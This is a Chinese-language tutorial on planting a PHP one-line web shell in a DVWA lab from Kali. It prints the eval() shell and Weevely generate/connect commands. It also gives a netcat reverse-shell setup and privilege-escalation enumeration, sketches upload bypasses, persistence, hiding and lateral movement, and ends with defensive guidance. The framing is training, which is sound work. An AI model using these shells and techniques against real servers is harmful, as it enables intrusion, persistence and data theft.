1. 项目概述与核心价值
最近在和一些刚入门安全测试的朋友交流时,发现大家对“一句话木马”这个听起来很神秘的东西既好奇又有点畏惧。很多人从各种教程里看到“Kali配置一句话木马”这个标题,第一反应往往是去搜索命令,然后照猫画虎地执行。但做完之后,除了得到一个能连上的“后门”,对其背后的原理、应用场景以及更重要的——为什么要在特定环境下这么做——依然一头雾水。这就像只学会了按开关,却不知道电路怎么走,一旦灯泡不亮就完全束手无策。
实际上,在授权的渗透测试或安全评估中,理解并实践“一句话木马”的配置与利用,是理解Web应用安全漏洞(尤其是文件上传漏洞)危害性的绝佳途径。它不是一个用来“搞破坏”的黑魔法,而是一面镜子,能清晰地照出应用在安全防护上的缺失。通过Kali Linux这类专业的渗透测试平台来操作,我们可以系统性地学习从漏洞发现、利用到权限维持的完整链条。这个过程会涉及到Web服务器特性(如PHP、ASP)、安全机制(如WAF、文件内容检查)的对抗,以及后渗透阶段的信息收集。掌握它,意味着你能够以攻击者的视角审视系统,从而设计出更有效的防御策略。
因此,这篇文章将彻底拆解“在Kali上配置一句话木马”这个主题。我不会只给你几个命令,而是会带你走完一个贴近实战的、基于DVWA(Damn Vulnerable Web Application)靶场的完整流程。你会明白每一步操作的目的,遇到常见问题该如何排查,以及如何安全、负责任地进行练习。无论你是正在学习网络安全的学生,还是希望提升实战能力的运维、开发人员,这篇内容都能为你提供一个清晰、深入且可复现的参考。
2. 环境准备与靶场搭建
在真正动手配置木马之前,一个隔离、安全的实验环境是必不可少的。直接在互联网或生产服务器上尝试这些操作是极不道德且违法的。我们的所有操作都将在本地虚拟机环境中进行。
2.1 Kali Linux 攻击机配置
Kali Linux是我们主要的攻击平台,上面集成了我们所需的大部分工具。
1. 系统安装与基础配置推荐使用VMware或VirtualBox创建虚拟机来安装Kali。从Kali官网下载最新的ISO镜像文件。安装过程与普通Linux系统类似,但有几个关键点需要注意:
- 网络模式:在虚拟机设置中,建议选择“NAT模式”。这种模式下,虚拟机会通过宿主机的网络访问外部,但外部网络无法直接访问虚拟机,提供了一个相对安全的初始环境。后续如果需要与靶机通信,我们再调整。
- 软件包选择:在安装过程中,会有一个选择软件包的界面。对于我们的需求,务必勾选“Top 10 security tools”和“Web Application Testing”这两个元软件包。这会自动安装Burp Suite、SQLMap、Weevely等我们后续会用到的关键工具。
- 更新源:安装完成后,第一件事就是更新系统软件包列表。由于默认源可能较慢,可以更换为国内的镜像源以加速。编辑源列表文件:
sudo nano /etc/apt/sources.list,将内容替换为阿里云或清华大学的Kali镜像源地址,然后执行sudo apt update && sudo apt upgrade -y进行更新。
2. 关键工具安装与验证即使选择了元软件包,我们也需要确认或安装几个核心工具:
- Weevely:这是我们生成和管理一句话木马后门的主要工具。使用命令
sudo apt install weevely进行安装。安装后,通过weevely --help验证是否成功。 - Netcat:被誉为“网络瑞士军刀”,用于测试网络连接和端口监听。通常已预装,可通过
nc -h检查。 - PHP-CLI:我们需要在Kali上生成PHP一句话木马,因此需要PHP命令行环境。使用
sudo apt install php安装。
注意:在实验环境中,为了方便,我们可能会关闭Kali的防火墙(如使用
sudo ufw disable)。但在任何接近真实环境的测试中,必须根据实际网络策略谨慎管理防火墙规则。
2.2 DVWA靶机环境搭建
DVWA是一个故意设计存在漏洞的PHP/MySQL Web应用,完美适合我们的练习。
1. 快速部署方案最快捷的方式是使用Docker。确保Kali上已安装Docker引擎(sudo apt install docker.io)。然后一行命令启动DVWA:
sudo docker run -d --name dvwa -p 80:80 vulnerables/web-dvwa这条命令会从Docker Hub拉取DVWA镜像,并在后台运行一个名为“dvwa”的容器,将容器的80端口映射到Kali本地的80端口。
2. 访问与初始化在Kali的浏览器中访问http://127.0.0.1或http://localhost。你会看到DVWA的安装界面。
- 点击“Create / Reset Database”按钮。这会初始化数据库并创建必要的表。
- 页面刷新后,使用默认凭证登录:用户名
admin,密码password。 - 登录后,在左侧导航栏找到“DVWA Security”选项,将安全等级设置为“Low”。这是我们练习漏洞利用的前提,因为在高安全等级下,很多防护机制会被启用。
3. 网络环境确认此时,我们的Kali(攻击机)和DVWA(靶机)实际上运行在同一台虚拟机上。Kali通过本地回环地址(127.0.0.1)访问DVWA。这种“本机”环境简化了网络配置,让我们专注于漏洞利用本身。你可以通过ifconfig命令查看Kali的IP地址,但在这个设置下,靶机的访问地址就是http://127.0.0.1。
3. 一句话木马原理与工具选型
在开始操作前,我们必须理解手中的“武器”到底是什么,以及为什么选择特定的工具来制造和使用它。
3.1 一句话木马的本质
一句话木马(One-Liner Web Shell)的本质是一段极其简短的、被恶意上传到Web服务器可执行目录下的脚本代码(常见于PHP、ASP、JSP)。它的核心功能是:接收来自远程攻击者的指令,在服务器端执行,并将结果返回给攻击者。
以最经典的PHP一句话木马为例:
<?php @eval($_POST['cmd']);?>这行代码的恐怖之处在于其简洁和强大:
<?php ... ?>:PHP标签,告诉服务器这是PHP代码。@:错误控制运算符,即使执行出错也不显示警告,增强了隐蔽性。eval():一个极其危险的函数,它将其字符串参数当作PHP代码来执行。$_POST[‘cmd’]:接收来自HTTP POST请求中名为“cmd”的参数的值。- 工作流程:攻击者构造一个HTTP POST请求,在“cmd”参数中填入他想执行的系统命令(如
system(‘whoami’))。服务器端的eval()函数会执行system(‘whoami’)这段代码,然后将命令执行的结果输出,并随着HTTP响应返回给攻击者。这样一来,攻击者就获得了在Web服务器上执行任意命令的能力。
3.2 工具选型:为何是Weevely?
手动编写一句话木马并连接是可行的,但效率低下且功能单一。在渗透测试中,我们通常使用专门的工具。Weevely就是这样一款被广泛使用的工具,它相较于其他工具(如中国菜刀/Cknife的替代品)或手动方式,有几大优势:
- 高度模拟真实攻击:Weevely生成的木马不是简单的
eval($_POST[‘x’]),而是经过混淆和编码的,能够绕过一部分基于简单特征码检测的Web应用防火墙(WAF)或安全软件。 - 功能强大的客户端:Weevely不仅生成木马,更提供了一个功能丰富的交互式客户端。连接后,它模拟了一个终端环境,支持文件浏览、上传下载、数据库访问、端口扫描、提权辅助等数十个模块,极大方便了后渗透测试。
- 会话管理与持久化:支持密码连接,提供了一定的“后门”管理能力。
- 活跃维护与Kali集成:作为Kali官方工具集的一员,Weevely更新维护积极,与渗透测试流程集成度高。
因此,选择Weevely进行学习,既能理解原理,又能掌握一个实战中高效的工具。
4. 利用DVWA文件上传漏洞获取初始立足点
我们的第一步,是找到一个方法将我们的一句话木马上传到靶机服务器上。DVWA的“File Upload”模块在低安全级别下,存在一个没有任何过滤的文件上传漏洞。
4.1 生成Weevely一句话木马
首先,我们在Kali攻击机上生成木马文件。Weevely需要两个关键参数:连接密码和输出文件名。
weevely generate <连接密码> <输出文件路径>例如,我们生成一个密码为“mypass123”,文件名为“shell.php”的木马:
weevely generate mypass123 /tmp/shell.php执行成功后,会在/tmp目录下生成一个shell.php文件。用cat命令查看一下这个文件,你会发现它并不是我们想象中的那句简单代码,而是一大段经过编码和混淆的PHP代码。这正是Weevely的优势之一,它提高了静态检测的难度。
4.2 上传木马文件
- 在DVWA中,点击左侧“File Upload”模块。
- 页面就是一个简单的文件上传表单。在低安全级别下,它没有对文件扩展名、MIME类型或文件内容做任何检查。
- 点击“浏览”,选择我们刚刚生成的
/tmp/shell.php文件。 - 点击“Upload”。
如果一切顺利,页面会显示“File successfully uploaded.”,并给出文件的访问路径,例如:http://127.0.0.1/hackable/uploads/shell.php。这个路径就是我们的后门地址。请务必记下它。
实操心得:在实际渗透测试中,远不会这么顺利。中高级别的防护可能包括:检查文件扩展名(只允许.jpg/.png)、检查MIME类型(来自HTTP头)、检查文件内容(通过图像处理库验证是否为真实图片),甚至重命名上传的文件。常见的绕过技术包括:双写扩展名(.php.jpg)、修改HTTP请求包中的Content-Type、在图片末尾附加PHP代码(图片马)、利用解析漏洞(如Apache的.htaccess配置错误、IIS的PUT漏洞)等。DVWA的中高级别正是用来练习这些绕过技术的。
4.3 验证上传结果
在浏览器中直接访问这个后门地址http://127.0.0.1/hackable/uploads/shell.php。你期望看到什么?一个空白页,或者可能有一串看似乱码的输出。这是正常的!因为这句话木马本身的设计就是“潜伏”的,它不会主动显示内容,只在接收到正确的指令(即Weevely客户端发送的特定请求)时才会工作。如果页面返回了PHP错误信息,则说明上传的文件可能因为服务器配置问题未能正确执行,需要检查。
5. 使用Weevely连接与管理后门
上传成功只是第一步,建立连接并控制目标服务器才是关键。
5.1 建立连接
在Kali终端中,使用Weevely的terminal模式进行连接。命令格式为:
weevely <后门URL> <连接密码>代入我们的信息:
weevely http://127.0.0.1/hackable/uploads/shell.php mypass123如果连接成功,你的命令行提示符会变成一个绿色的weevely>,这表示你已经进入了Weevely的交互式会话,相当于获得了目标Web服务器的一个“准Shell”环境。
5.2 基础信息收集
连接后第一件事,就是了解我们所在的环境。
:help:查看所有可用的命令模块。:audit_phpconf:检查PHP配置,寻找禁用函数、安全模式等可能限制我们操作的信息。:system_info:获取系统基本信息,如操作系统类型、内核版本、主机名等。:backdoor_reversetcp:这是一个非常重要的模块,它尝试在目标服务器上生成一个反向TCP Shell。为什么需要这个?因为Web Shell的通信依赖于HTTP请求/响应,功能受限且不稳定。反向TCP Shell能让我们获得一个更完整、更稳定的系统命令行交互环境。
尝试建立反向Shell:
- 首先在Kali上使用Netcat监听一个端口(例如4444):
nc -lvnp 4444 - 然后在Weevely会话中执行:
:backdoor_reversetcp <你的Kali IP> 4444 - 如果成功,你会在Netcat的监听窗口看到连接建立,并可以获得一个标准的系统Shell(可能是
sh或bash)。注意,这里需要确保Kali的IP地址是靶机能够访问到的。在我们当前的本机环境中,可以使用Kali在NAT网络中的IP(如192.168.x.x),或者如果靶机就是Kali本身,可以用127.0.0.1。
5.3 文件系统操作
在Web Shell或反向Shell中,我们可以进行基本的文件操作,这是渗透测试中信息收集和横向移动的基础。
- 浏览目录:
ls,pwd,cd - 查看文件:
cat,more,less - 查找敏感文件:
find / -name “*.txt” -o -name “*.conf” -o -name “*.php” 2>/dev/null | head -202>/dev/null是为了将权限错误等无关信息丢弃,使输出更清晰。 - 下载文件:在Weevely中,可以使用
:file_download模块。在反向Shell中,如果目标服务器有curl或wget,可以先将文件传输到Web目录,再通过HTTP下载。
5.4 权限提升思考
通过文件上传漏洞获得的权限,通常就是运行Web服务器的用户权限(如www-data,apache,nginx)。这个权限通常比较低。接下来的经典步骤就是权限提升(Privilege Escalation)。
在获得的Shell中,执行whoami和id查看当前用户。然后可以尝试一些信息收集,为提权做准备:
sudo -l:查看当前用户可以用sudo执行哪些命令。如果配置不当,可能直接找到提权路径。find / -perm -4000 -type f 2>/dev/null:查找设置了SUID位的文件。某些SUID程序(如find,vim,bash等)如果配置不当,可以被利用来提权。uname -a:查看内核版本,搜索是否有公开的本地提权漏洞(LPE)。
注意事项:在DVWA这样的靶场中,提权可能不是重点,因为环境通常已经给了你足够高的权限(甚至是root)。但在真实环境中,从
www-data到root是渗透测试中最具挑战性的环节之一,需要结合系统配置、内核漏洞、服务漏洞等多方面信息进行综合利用。
6. 防御视角:如何发现与防护一句话木马
作为一名安全从业者,知其攻更要知其防。通过上面的攻击过程,我们可以从防御方总结出关键点。
6.1 攻击痕迹与日志分析
攻击不会完全隐形,会在服务器上留下日志。
- Web访问日志:查看Apache的
access.log或Nginx的access.log。你会看到对shell.php的访问记录,特别是当使用Weevely连接时,会有一系列带有特定参数的POST请求。这些请求的User-Agent、参数长度和模式可能异于正常用户。 - 文件系统监控:突然在
uploads等可写目录出现新的.php文件是强烈警告信号。可以使用文件完整性监控(FIM)工具,如AIDE、Tripwire,来监控关键目录的变更。 - 进程监控:如果攻击者建立了反向Shell,可能会产生新的网络连接进程(如
/bin/bash或nc连接到异常IP和端口)。使用netstat -antp或ss -antp命令可以查看。
6.2 多层次防护策略
单一的防御措施很容易被绕过,需要构建纵深防御体系:
| 防护层面 | 具体措施 | 原理与效果 |
|---|---|---|
| 输入验证 | 1.白名单文件扩展名:只允许.jpg,.png,.pdf等业务必需格式。2.文件类型检查:同时检查MIME类型(HTTP头)和文件内容魔数(Magic Number),防止伪装。 3.重命名上传文件:使用随机字符串(如UUID)重命名文件,避免直接执行。 4.目录权限隔离:上传目录设置为不可执行脚本( chmod 755,且无+x权限;或通过Web服务器配置禁止解析)。 | 从源头阻止恶意文件上传,是最有效的一环。 |
| Web应用防护 | 1.部署WAF:利用WAF的规则集检测常见的一句话木马特征码、异常请求参数等。 2.禁用危险函数:在 php.ini中通过disable_functions禁用eval(),system(),exec(),shell_exec(),passthru()等函数。3.配置 open_basedir:限制PHP可访问的目录范围,防止跨目录文件访问。 | 在应用层增加检测和限制,即使文件上传,也难以发挥作用。 |
| 系统与网络层 | 1.最小权限原则:运行Web服务的用户(如www-data)权限应尽可能低,不能登录系统,家目录不可写等。2.定期更新与漏洞扫描:及时修补系统、Web服务器、编程语言和应用程序的漏洞。 3.网络隔离:将Web服务器置于DMZ区,严格限制其向内网发起连接(可防止反向Shell连接内网)。 4.入侵检测系统:部署HIDS/NIDS,监控异常命令执行、文件创建、网络连接等行为。 | 提升攻击成本,限制攻击者横向移动和持久化的能力。 |
| 主动防御 | 1.部署Web Shell检测工具:使用如ClamAV配合自定义规则、rkhunter等进行定期扫描。2.日志集中分析与告警:将日志收集到SIEM系统,建立针对异常访问模式(如频繁访问特定可疑路径、POST参数过长)的告警规则。 | 变被动为主动,力求在攻击造成实质性损害前发现威胁。 |
6.3 安全开发规范
对于开发人员而言,将安全融入开发流程(DevSecOps)至关重要:
- 使用安全的文件上传库/组件:避免自己从头实现上传逻辑,优先使用经过安全社区审计的成熟库。
- 代码审计:定期对代码进行安全审计,特别是文件操作、命令执行、数据库查询等高风险函数的使用处。
- 安全意识培训:让所有开发人员了解常见漏洞(如文件上传、命令注入)的危害及安全编码实践。
7. 常见问题与排查技巧实录
在实际操作中,你几乎一定会遇到各种问题。下面是我在多次实验中总结的一些典型情况及解决方法。
7.1 连接阶段问题
问题1:使用Weevely连接时,长时间无响应或提示连接失败。
- 排查思路:
- 确认后门URL可访问:首先在浏览器中访问
shell.php的URL。如果返回404,说明文件不存在或路径错误;如果返回50X错误(如500),可能是文件内容有语法错误,或者服务器PHP配置禁用了某些必要函数。 - 检查网络连通性:确认攻击机和靶机IP能互相ping通(如果是本机环境,可跳过)。检查防火墙是否拦截了80端口(HTTP)的通信。
- 验证密码:确保连接密码与生成木马时使用的密码完全一致,包括大小写。
- 查看Weevely调试信息:可以尝试在连接命令后加
-v参数,输出更详细的调试信息:weevely <URL> <PASS> -v。
- 确认后门URL可访问:首先在浏览器中访问
问题2:连接成功,但执行任何命令都无输出或报错。
- 排查思路:
- 检查PHP配置:在Weevely中执行
:audit_phpconf,查看disable_functions列表。如果system,exec,shell_exec,passthru,proc_open等关键函数被禁用,很多命令模块将无法工作。 - 权限问题:当前Web服务用户(如
www-data)可能对某些目录没有读或执行权限。尝试使用:file_upload模块上传一个简单的test.txt文件到/tmp目录,测试基本文件操作是否正常。 - 尝试使用
:shell_php模块:这是一个更底层的PHP代码执行模块,有时可以绕过一些限制。例如,:shell_php “echo ‘hello’;”。
- 检查PHP配置:在Weevely中执行
7.2 文件上传阶段问题
问题3:在DVWA中,文件上传失败,提示“Your image was not uploaded.”或其他错误。
- 排查思路:
- 检查DVWA安全等级:确保在“DVWA Security”页面已将安全级别设置为“Low”。中高级别会启用防护。
- 检查上传目录权限:登录到DVWA靶机的操作系统(如果是Docker,用
docker exec -it dvwa bash进入容器),检查/var/www/html/hackable/uploads/目录的权限。Web服务用户(如www-data)需要有写权限(chmod 755或775通常足够)。 - 检查PHP配置:查看
php.ini中的upload_max_filesize和post_max_size设置,确保它们大于你上传的文件大小。
问题4:文件上传成功,但访问时被当作普通文件下载,而不是执行。
- 排查思路:
- 服务器解析问题:这是最常见的原因。确保文件扩展名是
.php,并且Web服务器(如Apache)正确配置了对于.php文件的处理程序(Handler)。例如,Apache需要AddType application/x-httpd-php .php这样的配置,且mod_php模块已加载。 - 上传目录禁止执行:检查Web服务器(Apache/Nginx)的配置文件,确认上传目录(如
/uploads/)没有通过php_flag engine off(Apache)或location ~ \.php$ { return 403; }(Nginx)等方式禁止PHP执行。
- 服务器解析问题:这是最常见的原因。确保文件扩展名是
7.3 反向Shell问题
问题5:在Kali上使用nc -lvnp 4444监听,但执行:backdoor_reversetcp后无法收到连接。
- 排查思路:
- IP地址错误:这是最可能的原因。
:backdoor_reversetcp需要靶机能够访问到的Kali的IP地址。在虚拟机NAT网络中,Kali的IP(如192.168.122.x)与宿主机不同网段,靶机(如果也是虚拟机且同模式)可能可以访问。最稳妥的方式是在Kali上执行ip addr show查看其IP,并确保靶机到该IP的网络是通的(可以在靶机上尝试ping一下,如果靶机有ping命令的话)。 - 防火墙拦截:检查Kali上的防火墙(如
ufw)是否允许4444端口的入站连接:sudo ufw allow 4444/tcp。 - Netcat版本:确保使用的Netcat支持
-l(监听)、-v(详细)、-n(不解析域名)、-p(指定端口)参数。Kali自带的nc通常是ncat或netcat-openbsd,都支持。 - 靶机出网限制:目标服务器可能禁止向外发起连接到非常用端口。可以尝试使用80、443等常见端口。
- IP地址错误:这是最可能的原因。
7.4 工具使用问题
问题6:Weevely模块执行失败,提示“No module named ‘xxx’”或类似错误。
- 排查思路:
- 模块名称错误:使用
:help仔细查看准确的模块名称,注意大小写和下划线。 - Weevely版本:不同版本的Weevely模块可能有增减。使用
weevely --version查看版本,并查阅对应版本的文档。 - 依赖问题:某些复杂模块(如
:sql_console连接特定数据库)可能需要目标服务器安装额外的PHP扩展。错误信息通常会给出提示。
- 模块名称错误:使用
8. 拓展与深化:超越基础利用
掌握了基础的文件上传漏洞利用后,我们可以将这个点扩展到更广泛的渗透测试场景中。
8.1 漏洞组合利用
在真实世界中,攻击者很少只依赖一个漏洞。一句话木马常常是漏洞链中的一个环节。
- SQL注入 + 文件写入:如果应用存在SQL注入漏洞,并且数据库用户有
FILE权限(如MySQL),攻击者可能利用SELECT ... INTO OUTFILE语句,将一句话木马直接写入Web目录。防御方需要严格限制数据库用户的权限,并禁用INTO OUTFILE等危险功能。 - 命令注入 + 下载木马:如果存在命令注入漏洞,攻击者可以先用
curl或wget命令将木马文件从远程服务器下载到目标服务器,然后再通过文件包含或直接访问来利用。这强调了输入验证和禁用危险系统命令的重要性。 - 文件包含 + 日志投毒:利用本地文件包含漏洞,结合将PHP代码写入Web日志或User-Agent等字段,最终通过包含日志文件来执行代码。这要求我们严格限制文件包含函数的参数,并避免将用户可控数据写入可执行文件。
8.2 权限维持与隐蔽
获得访问权限后,攻击者会设法维持访问(持久化)并隐藏踪迹。
- Web后门多样化:除了PHP,攻击者可能会部署ASP、JSP、Python甚至二进制后门,以应对不同的服务器环境和排查手段。
- 隐藏技术:将后门文件命名为
.config.php、index.php.bak等看似正常的名字;将代码隐藏在图片文件、/tmp目录或其他众多文件中;修改文件时间戳(touch -r)以匹配周围文件。 - 计划任务与服务:在Linux下通过
crontab添加定时任务,在Windows下创建计划任务或服务,确保系统重启后后门仍能自启动。 - Rootkit:更高级的攻击者会安装内核级Rootkit来隐藏进程、文件和网络连接。
从防御角度看,这强调了持续监控和基线对比的重要性。定期对系统文件、进程、网络连接、计划任务等进行快照和比对,能有效发现异常。
8.3 内网横向移动
一旦Web服务器失陷,它往往成为攻击者进入内网的跳板。
- 信息收集:从当前机器收集网络信息(
/etc/hosts,ifconfig,netstat -rn)、密码文件(/etc/passwd,/etc/shadow的哈希)、历史命令(.bash_history)、配置文件(可能包含数据库密码、其他服务凭证)。 - 端口扫描:利用已控服务器对内网其他机器进行端口扫描(如用
nc,nmap的二进制文件,或上传nmap静态编译版)。 - 密码爆破与重用:尝试用收集到的密码哈希或明文密码,去登录内网的其他系统(SSH, RDP, SMB等)。
- 代理与隧道:在已控服务器上搭建SOCKS代理或使用
ssh -D建立动态端口转发,将攻击者的流量代理进内网,从而直接访问内网资源。
防御内网横向移动需要严格的网络分段(微隔离)、最小权限原则、多因素认证以及对异常内部流量的监控。
整个“Kali配置一句话木马”的练习,就像一场精心设计的攻防演练。从最初那个简单的文件上传表单,到最终可能控制整个内网,每一步都揭示了安全链条上一个可能被忽视的环节。对于防御者而言,理解攻击者的每一步操作、每一种思路,是构建有效防御体系的基石。这个实验的价值不仅在于学会了几个命令,更在于建立了一种“攻击者思维”,让你在设计和评估系统时,能本能地思考:“这里,攻击者会怎么做?” 这才是安全测试与研究的核心所在。